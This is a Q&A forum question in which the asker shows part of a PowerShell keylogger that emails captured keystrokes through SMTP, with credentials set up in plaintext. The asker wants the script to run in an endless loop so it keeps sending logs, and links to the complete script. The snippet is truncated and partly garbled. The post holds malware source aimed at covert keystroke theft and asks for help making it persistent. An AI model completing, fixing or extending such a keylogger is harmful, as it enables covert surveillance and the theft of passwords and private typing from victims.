title: why this powershell keylogger sends logs only once?
body: <p>I have this keylogger for Powershell that sends logs to e-mail, it works perfectly but it sends the logs only once and then he stops working.
  How do i make it like an endless loop?</p>
  
  <pre><code>TimesToRun = 2
  $RunTimeP = 1
  $From = "USER1@mail.com"
  $Pass = "Pa$$w0rd"
  $To = "USER2@mail.com"
  $Subject = "Keylogger Results"
  $body = "Keylogger Results"
  $SMTPServer = "smtp.mail.com"
  $SMTPPort = "587"
  $credentials = new-object 
  Management.Automation.PSCredential 
  $From, ($Pass | ConvertTo-SecureString -AsPlainText -Force)
  
  
  
  $TimeStart = Get-Date
  $TimeEnd = $timeStart.addminutes($RunTimeP)
  l
  function Start- 
  
   KeyLogger($Path="$env:temp\keylogger.txt") 
  </code></pre>
  
  <blockquote>
    <p>this is the complete script
    <a href="https://gist.githubusercontent.com/dimiboy/8073b733f04d896cc7484fdb68bfce07/raw/d3ba1579e6be99680bee18a509a7f6940cb6a248/keystrokes-NEW.ps1" rel="nofollow noreferrer">https://gist.githubusercontent.com/dimiboy/8073b733f04d896cc7484fdb68bfce07/raw/d3ba1579e6be99680bee18a509a7f6940cb6a248/keystrokes-NEW.ps1</a></p>
  </blockquote>